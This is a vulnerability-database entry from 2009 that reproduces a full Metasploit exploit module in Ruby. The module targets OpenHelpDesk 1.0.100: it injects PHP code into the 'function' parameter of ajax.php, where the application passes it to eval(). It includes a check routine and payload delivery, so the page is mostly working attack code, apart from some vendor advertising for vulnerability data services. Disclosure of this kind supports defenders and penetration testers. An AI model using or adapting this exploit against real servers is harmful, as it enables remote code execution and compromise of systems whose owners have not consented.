Lucene search
K

OpenHelpDesk 1.0.100 eval() Code Execution Exploit (meta)

🗓️ 04 Feb 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

OpenHelpDesk 1.0.100 eval() Code Executio

Code

                                                ##
# $Id: php_eval.rb 5783 2008-10-23 02:43:21Z ramon $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'OpenHelpDesk eval (previously unpublished)',
			'Description'    => %q{
				OpenHelpDesk version 1.0.100 is vulnerable to a php code
				execution vulnerability due to improper use of eval().
				The php.ini register_globals directive is *not* required to be
				on to exploit this vulnerability.  There is no known public
				exploit for this vulnerability.
			},
			'Author'         => [ 'LSO <[email protected]>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision$',
			'References'     => [ 'URL' , 'http://sourceforge.net/projects/openhelpdesk' ],
			'Privileged'     => false,
			'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
			'Payload'        => 
				{
					'Space'       => 4000,  # max url length for some old
											# versions of apache according to
											# http://www.boutell.com/newfaq/misc/urllength.html
					'DisableNops' => true,
					'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
					'Compat'      => 
						{
							'ConnectionType' => 'find',
						},
					'Keys'        => ['php'],
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget' => 0
			))

		register_options(
			[
				OptString.new('URIPATH',   [ true,  "The URI of ajax.php ", '/openhelpdesk/ajax.php']),
			], self.class)
	
	end

	def check
		tester = rand_text_alpha(10)
		php_code = "echo('#{tester}');"

		response = eval_sploit(php_code)

		#print_status(response)
		if (response && response.body.match(tester).to_a.first)
			print_status("PHP code execution achieved; safe_mode or disable_functions might still prevent host compromise")
			checkcode = Exploit::CheckCode::Vulnerable
		else
			checkcode = Exploit::CheckCode::Safe
		end
		return checkcode
	end

	def exploit
		response = eval_sploit(payload.encoded)

		handler
	end

	def eval_sploit(php_code)
		uri  = datastore['URIPATH'] + "?function=" + php_code + "//"
		response = send_request_raw({ 'uri' => uri },1)
		return response
	end
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2009 00:00Current
7.1High risk
Vulners AI Score7.1
12